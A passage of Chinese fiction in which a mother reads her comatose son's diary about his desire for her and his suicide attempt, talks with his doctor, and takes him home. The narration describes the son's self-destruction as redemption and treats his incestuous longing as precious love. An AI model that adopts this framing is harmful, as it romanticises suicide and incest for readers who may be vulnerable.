已经冥冥的感觉到会有大事发生,也许这就是第六感吧,母亲这七年来,为什么
活得这么辛苦,答案只有一个,就是我,如果没有的话,也许母亲现在会重新有
一个幸福快乐的家庭,还好,还不算太迟,以的母亲的美丽一定能找到一个爱她
呵护她的人,祝你幸福,妈妈。

日记到这里就结束了,最后的文字写的笔法凌乱,显然是在心情极度跌宕的
心情下落笔,在旁边的一页上,有一副极简单的素描,画着两个人的头像,其中
一个是柳玉洁,她亲昵的靠在旁边的人肩膀上,不知什么原因,王鑫没有画上男
人的面孔,只勾勒了一条微笑满足的嘴角。

儿子隐秘的日记本,给柳玉洁带来的冲击是巨大的,她第一次真正的走进了
儿子的内心,发觉到他心中不为人知的痛苦与忧伤,柳玉洁看完日记后,从不解、
愤怒、伤心、悲痛的情绪中,变化出悔恨、爱怜、痛心、迷惘,她不知道一旦儿
子醒来,自己将如何与他相处,在伦理与道德的束缚下,王鑫选择了自我毁灭,
从这点上来说,他成功的用死亡对自己进行了救赎,即便他之前犯了再大的错,
他也已经用生命洗刷了那些罪恶,而柳玉洁则因为日记本的发现,开始审视儿子
和自己的关系,当剥离了伦理道德之后,她看到了那颗无比热烈爱慕自己的真心,
一个男人为了自己,甘愿放弃自己的生命,那这份爱是何等的珍贵,在照顾儿子
的这一个月中,每每看到他手臂上自虐的伤痕和无神的眼睛,柳玉洁心底的柔软
之处就被刺痛一次,一个月下来,心底早已是遍地鳞伤,再没有半点对儿子意淫
自己的怨恨和痛惜,只盼着他能醒过来,如果这世上真有背德的炼狱,她愿意永
陷炼魂的业火,烧尽自己的灵魂,以换取儿子再亲口呼唤自己一声妈妈。

那天夜晚,柳玉洁迷迷糊糊间睡在了儿子的病床上,第二天醒来时,她发现
自己蜷缩在儿子的旁边,不由感到有些窘迫,昨天夜里她做了一场梦,在梦中有
一个陌生男子对她大献殷情,百般体贴,让久久未尝到被男人呵护她格外的放松,
在梦中,她们欢快起舞,把手言笑,男人强有力的臂弯和温柔的浅笑,让她体会
到做女人的快乐与满足。可是梦境终究是虚幻,当梦醒之后,除了床单上一片被
打湿的泪痕外,再没有一丝可以令心底平安喜乐。

柳玉洁忧伤的看着一旁毫无知觉的儿子,不由的悲从心来,对于未来她有些
手足无措,发了半晌的呆,才缓缓下了床,在卫生间里洗了把脸,梳理了下头发,
当推开卫生间门时,正好是早班的护士进来查房。

看到儿子如同木头人偶一般的被检查身体,柳玉洁不忍再看,离开房间,径
直来到值班医生的办公室,正巧,值班的是王鑫的主治医师胡医师。

「早,胡医生。」柳玉洁轻声打着招呼。

胡医生闻言看见她,赶忙热情的站起身,迎接道:「啊,早,柳女士,你怎
么不多休息休息,那天你真是把我们吓死了。」

柳玉洁惨然笑了笑,说道:「不好意思。」她一抬眼正好看到墙壁上的日历,
是日期很大,每天撕一张的那种,一看日期,不由微微有些诧异,没想到自己竟
然是昏迷了两天。

胡医生摇摇头说,说道:「请坐吧,喝水吗?」

柳玉洁点点头说道:「谢谢胡医生。」

胡医生赶忙笑道:「客气客气,为病人家属服务也是我们的职责嘛,呵呵。」
他殷勤的从饮水机中到处一杯热水,送到柳玉洁面前的茶几上,这一个月来,医
院的同事都看出来胡医生在柳玉洁的面前殷勤的有些过分,私底下都在暗笑这个
书呆子也知道开窍了,胡医生早年留学美国,直到三十出头才回国,是美国著名
医科大学毕业的医学博士,虽然人长得普通了点,但在耀眼光环的笼罩下,他依
然受到无数女性的青睐,只可惜此人虽然智商高但情商低,婚后不到一年即以离
婚收场,然后对女性就敬而远之,一心扑在事业上,眼看着即将四十出头,终于
是有了梅开二度的心思。

只可惜落花有意流水无情,柳玉洁被儿子的事情弄得焦头烂额,哪里有心情
却接受一份新感情,而且胡医生身上浓重的书卷气息和小男人的气质也让她生不
起半点涟漪,她喜欢强壮有力,可以保护女人的男人,偏偏胡医生跟这个形象一
点边都靠不上,注定了他的一腔爱意也只能换来竹篮打水一场空。

把水放到茶几上,胡医生静静的坐在自己的椅子上,假装翻看手中的病例,
却在好似不经意间偷看着柳玉洁,三十七岁的女人,年龄上已经不算年轻,但比
起来一二十岁的年轻女孩来说,她们有着独特的优势,就是成熟,仿佛是多年窖
藏的美酒,醇香浓郁,诱惑逼人,她们的一颦一笑,一举手一抬足,都仿佛在发
出无声的邀请,撩拨着男人异样的心思,柳玉洁正是其中的极品,虽然岁月在她
眼角留下了痕迹,但是在带走青涩的同时也留下了成熟,她就好似一颗熟透了的
水蜜桃,全身上下都散发着诱人的甜香,美丽的容颜,骄人的身材,在胡医生第
一次见到时就给他留下了不可磨灭的印迹,不过一来时机不对,二来这个书呆子
着实没有不会讨女人喜欢,一个月下来,私下的关系毫无进展,愁得他日夜魂不
守舍。

柳玉洁没有多想面前这个宅男医生的异样心思,用冰冷的双手环握住水杯,
轻轻抿了一口,热乎乎的开水流进冰凉的胃中,让身体稍稍暖和了一些,看着杯
口中蒸腾出的热气,她轻声问道:「胡医生,我想给我儿子办理出院手续,今天
可以办吗?」

胡医生心咯噔一下,放下装模作样的病例问道:「你儿子的病情我们还没有
找到原因,为什么不再多住院观察一段时间,如果是经济方面有困难,我可以帮
你。」他热切的说着。

柳玉洁没有注意到胡医生的格外热情,摇了摇头说道:「不是钱的问题,我
想换一个熟悉的环境,也许会有助于他的恢复,这一个月来,我也跟护士后面学
会了打针,就麻烦你给我开点镇定剂。」

见女人的去意很坚决,胡医生虽然很是不情愿,但也没有办法,只能遗憾的
说道:「那好吧,不过安定是属于管制药物,我不能给你多开,我先给你开七支,
每个礼拜你再到医院来重新开,这是规定。」

「嗯,好的,谢谢胡医生。」柳玉洁说完就放下水杯站起来,说道,「那我
回病房那边收拾一下,如果有需要我填写的东西,麻烦请再告知我。」

「哎,好。」胡医生赶忙站起来相送,看着女人姣好的背影消失在门口,他
不由懊恼的摔倒在椅子上,双眼直勾勾的看着天花板,满心都是说不出的沮丧。

在胡医生的帮助下,很快就弄好了出院手续,柳玉洁婉拒了护士的帮忙,一
个人扶着儿子下了楼,把王鑫安置在副驾驶的座位上,按住他不停摆动的双腿上
几分钟,王鑫才停下了行走的动作,安静的坐在座位上,无神的看着前方。

柳玉洁见状心中越发的酸楚,念及实在大庭广众之下,终于是忍住泪水,转
身向医护人员致谢,这时胡医生大步走到她的面前,一旁的同事不由的私下惊诧,
暗道难道是他打算要表白吗?结果,这个宅男医生表情纠结了半天,却只是掏出
了一张被攥得皱巴巴的名片,递了过去。

「呃,柳女士,这个是我一个好友的名片,她是心理诊疗师,我看你最近这
段时间压力太大,这样不好,也许这张名片你用得上。」胡医生结结巴巴的说道,
这番话着实让周围一群人大失所望。

柳玉洁接过名片,只见上面印着天华心理治疗中心华月虹主任,下方是联系
电话和地址,点点头道谢了一声,将名片收在口袋里。

随着车子缓缓驶离医院停车场,胡医生的心也越发沉坠下去,他目送着最后
一点影子消失在门口,头顿时耷拉了下来,迈着沉重的步子缓缓的踱回办公室,
傻呆呆的坐了一整天。